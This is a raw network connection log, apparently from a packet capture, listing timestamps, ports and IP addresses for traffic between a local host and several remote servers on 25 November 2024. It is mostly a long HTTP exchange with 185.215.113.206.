Nov 25, 2024 07:53:47.848835945 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.848881960 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.849529982 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.849611998 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.849636078 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.849719048 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.850383043 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.850439072 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.850476027 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.850512028 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.851183891 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.851228952 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.851284981 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.851408958 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.851972103 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.852072954 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.852114916 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.852775097 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.852822065 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.852853060 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.852936983 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.853657961 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.853708982 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.853728056 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.853777885 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.854406118 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.854490042 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.854531050 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.855228901 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.855274916 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.855282068 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.855324984 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.856044054 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.856426001 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.893141031 CET	443	49884	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:47.893224001 CET	443	49884	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:47.893465996 CET	49884	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:47.893764973 CET	49884	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:47.893779039 CET	443	49884	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:47.893971920 CET	443	49885	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:47.894036055 CET	443	49885	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:47.894253016 CET	49885	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:47.894308090 CET	49885	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:47.894329071 CET	443	49885	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:47.894340038 CET	49885	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:47.894345999 CET	443	49885	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:47.897340059 CET	49892	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:47.897376060 CET	443	49892	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:47.897471905 CET	49892	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:47.897521019 CET	49893	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:47.897562981 CET	443	49893	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:47.897615910 CET	49893	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:47.897977114 CET	49892	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:47.897989035 CET	443	49892	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:47.898185968 CET	49893	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:47.898199081 CET	443	49893	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:47.943960905 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.944010019 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.944036961 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.944067955 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.944339037 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.944394112 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.944448948 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.944492102 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.945172071 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.945219994 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.945240974 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.945280075 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.945981026 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.946052074 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.946055889 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.946099043 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.946810007 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.946866035 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.946883917 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.946933031 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.947602034 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.947666883 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.947745085 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.947861910 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.948457956 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.948508978 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:47.948537111 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:47.948580027 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.008626938 CET	443	49889	152.195.19.97	192.168.2.6
Nov 25, 2024 07:53:48.008919954 CET	49889	443	192.168.2.6	152.195.19.97
Nov 25, 2024 07:53:48.008950949 CET	443	49889	152.195.19.97	192.168.2.6
Nov 25, 2024 07:53:48.010001898 CET	443	49889	152.195.19.97	192.168.2.6
Nov 25, 2024 07:53:48.010073900 CET	49889	443	192.168.2.6	152.195.19.97
Nov 25, 2024 07:53:48.011744022 CET	49889	443	192.168.2.6	152.195.19.97
Nov 25, 2024 07:53:48.011816978 CET	443	49889	152.195.19.97	192.168.2.6
Nov 25, 2024 07:53:48.011996031 CET	49889	443	192.168.2.6	152.195.19.97
Nov 25, 2024 07:53:48.012011051 CET	443	49889	152.195.19.97	192.168.2.6
Nov 25, 2024 07:53:48.020287037 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.020317078 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.020349026 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.020376921 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.020694017 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.020745993 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.020987988 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.021045923 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.021524906 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.021570921 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.021578074 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.021612883 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.022358894 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.022413969 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.022500992 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.022541046 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.023169994 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.023196936 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.023224115 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.023247004 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.024004936 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.024104118 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.024137020 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.024177074 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.024792910 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.024835110 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.024928093 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.025005102 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.025578022 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.025604010 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.025665045 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.026429892 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.026484013 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.026509047 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.026532888 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.027223110 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.027283907 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.027359962 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.027573109 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.028012991 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.028062105 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.028095961 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.028250933 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.028821945 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.028872967 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.028940916 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.028986931 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.029664040 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.029716015 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.029752016 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.029825926 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.030459881 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.030529022 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.030560970 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.030612946 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.031255007 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.031394958 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.031447887 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.032079935 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.032136917 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.032258987 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.032361031 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.032908916 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.032960892 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.033129930 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.033251047 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.033704042 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.033751965 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.033823013 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.033871889 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.034588099 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.034742117 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.034790039 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.035424948 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.035480976 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.035638094 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.035727024 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.036160946 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.036211967 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.036339998 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.036389112 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.036946058 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.036998987 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.037355900 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.037448883 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.037772894 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.037837029 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.037858963 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.037900925 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.038594961 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.038645029 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.038676023 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.038780928 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.039388895 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.039434910 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.039529085 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.039571047 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.039870977 CET	443	49887	13.107.246.40	192.168.2.6
Nov 25, 2024 07:53:48.040261030 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.040266037 CET	49887	443	192.168.2.6	13.107.246.40
Nov 25, 2024 07:53:48.040285110 CET	443	49887	13.107.246.40	192.168.2.6
Nov 25, 2024 07:53:48.040306091 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.040318012 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.040375948 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.041070938 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.041121006 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.041177034 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.041217089 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.041285992 CET	443	49887	13.107.246.40	192.168.2.6
Nov 25, 2024 07:53:48.041352034 CET	49887	443	192.168.2.6	13.107.246.40
Nov 25, 2024 07:53:48.041871071 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.042021036 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.042073965 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.042470932 CET	49887	443	192.168.2.6	13.107.246.40
Nov 25, 2024 07:53:48.042536974 CET	443	49887	13.107.246.40	192.168.2.6
Nov 25, 2024 07:53:48.042649031 CET	49887	443	192.168.2.6	13.107.246.40
Nov 25, 2024 07:53:48.042655945 CET	443	49887	13.107.246.40	192.168.2.6
Nov 25, 2024 07:53:48.042691946 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.042737961 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.042787075 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.042831898 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.043492079 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.043546915 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.043673038 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.043715954 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.044275999 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.044331074 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.044451952 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.044568062 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.045135975 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.045187950 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.045250893 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.045340061 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.045958996 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.046010017 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.046042919 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.046092987 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.046782970 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.046838045 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.046931028 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.047030926 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.047569990 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.047622919 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.047719955 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.047772884 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.048353910 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.048407078 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.048434973 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.048480988 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.049201965 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.049257994 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.049272060 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.049319029 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.049979925 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.050035000 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.050203085 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.050254107 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.050805092 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.050873041 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.050909042 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.050954103 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.051594019 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.051642895 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.051654100 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.051678896 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.052393913 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.052449942 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.052452087 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.052490950 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.053277016 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.053332090 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.053386927 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.053451061 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.054028988 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.054079056 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.054150105 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.054198027 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.054864883 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.054919004 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.054951906 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.055003881 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.055738926 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.055799961 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.055819988 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.055864096 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.055941105 CET	49889	443	192.168.2.6	152.195.19.97
Nov 25, 2024 07:53:48.056515932 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.056597948 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.056651115 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.056693077 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.057391882 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.057447910 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.102020025 CET	443	49886	13.107.246.40	192.168.2.6
Nov 25, 2024 07:53:48.103607893 CET	49886	443	192.168.2.6	13.107.246.40
Nov 25, 2024 07:53:48.103620052 CET	443	49886	13.107.246.40	192.168.2.6
Nov 25, 2024 07:53:48.105079889 CET	443	49886	13.107.246.40	192.168.2.6
Nov 25, 2024 07:53:48.105150938 CET	49886	443	192.168.2.6	13.107.246.40
Nov 25, 2024 07:53:48.115353107 CET	49886	443	192.168.2.6	13.107.246.40
Nov 25, 2024 07:53:48.115458012 CET	443	49886	13.107.246.40	192.168.2.6
Nov 25, 2024 07:53:48.115588903 CET	49886	443	192.168.2.6	13.107.246.40
Nov 25, 2024 07:53:48.115606070 CET	443	49886	13.107.246.40	192.168.2.6
Nov 25, 2024 07:53:48.145255089 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.145284891 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.145318031 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.145360947 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.145451069 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.145497084 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.145529985 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.145570040 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.146290064 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.146368980 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.146395922 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.146420002 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.147083998 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.147134066 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.147185087 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.147222996 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.147881985 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.147985935 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.148011923 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.148031950 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.148709059 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.148752928 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.149102926 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.149141073 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.149549961 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.149667025 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.149708033 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.150329113 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.150371075 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.154418945 CET	49887	443	192.168.2.6	13.107.246.40
Nov 25, 2024 07:53:48.167855978 CET	49886	443	192.168.2.6	13.107.246.40
Nov 25, 2024 07:53:48.211966991 CET	443	49888	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:48.221596956 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.221658945 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.221690893 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.221726894 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.221988916 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.222084045 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.222112894 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.222162008 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.222790956 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.222835064 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.222843885 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.222872019 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.223582029 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.223628044 CET	49825	80	192.168.2.6	185.215.113.206
